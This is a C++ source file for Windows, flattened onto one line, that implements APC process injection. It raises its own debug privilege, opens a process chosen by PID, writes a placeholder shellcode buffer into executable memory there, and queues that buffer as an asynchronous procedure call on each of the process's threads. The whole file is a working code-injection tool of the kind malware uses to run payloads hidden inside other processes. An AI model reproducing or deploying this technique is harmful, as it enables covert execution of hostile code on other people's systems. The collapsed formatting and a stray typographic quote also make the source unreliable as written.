#include <tchar.h>#include <Windows.h>#include <TlHelp32.h>#include <vector>BOOL CurrentProcessAdjustToken(void);void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError);const char buf[] =”shellcode";int wmain(int argc, wchar_t *argv[]){  if (argc < 2) {    _putts(TEXT("usage: APCInjection [: pid]nexample: RemoteInjection.exe 512n"));    return 0;  } {    if (!CurrentProcessAdjustToken()) {      _putts(TEXT("Invalid AdjustToken"));    }    DWORD pid = 0;    pid = _wtoi(argv[1]);    if (pid <= 0) {      _putts(TEXT("Invalid pid"));      return 0;    }    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);    LPVOID mem = NULL;    mem = VirtualAllocEx(process, NULL, strlen(buf) * sizeof(CHAR), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!mem) {      _putts(TEXT("VirtualAllocEx error"));      return 0;    }    if (!WriteProcessMemory(process, mem, buf, strlen(buf) * sizeof(CHAR), NULL)) {      DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());      return 0;    }    HANDLE hSnap = NULL;    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    if (NULL == hSnap) {      DisplayErrorMessage((LPTSTR)"Create Snapshot error: ", GetLastError());      return 0;    }    THREADENTRY32 te = { 0 };    te.dwSize = sizeof(THREADENTRY32);    Thread32First(hSnap, &te);    do {      if (te.th32OwnerProcessID == pid) {        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, TRUE, te.th32ThreadID);        QueueUserAPC((PAPCFUNC)mem, hThread, NULL);        ResumeThread(hThread);        CloseHandle(hThread);        Sleep(1000 * 2);      }    } while (Thread32Next(hSnap, &te));    CloseHandle(hSnap);    CloseHandle(process);    return 1;  }}BOOL CurrentProcessAdjustToken(void) {  HANDLE hToken;  TOKEN_PRIVILEGES sTP;  if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) {      CloseHandle(hToken);      return FALSE;    }    sTP.PrivilegeCount = 1;    sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) {      CloseHandle(hToken);      return FALSE;    }    CloseHandle(hToken);    return TRUE;  }  return FALSE;}void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError) {  HLOCAL hlErrorMessage = NULL;  if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))  {    _tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));    LocalFree(hlErrorMessage);  }}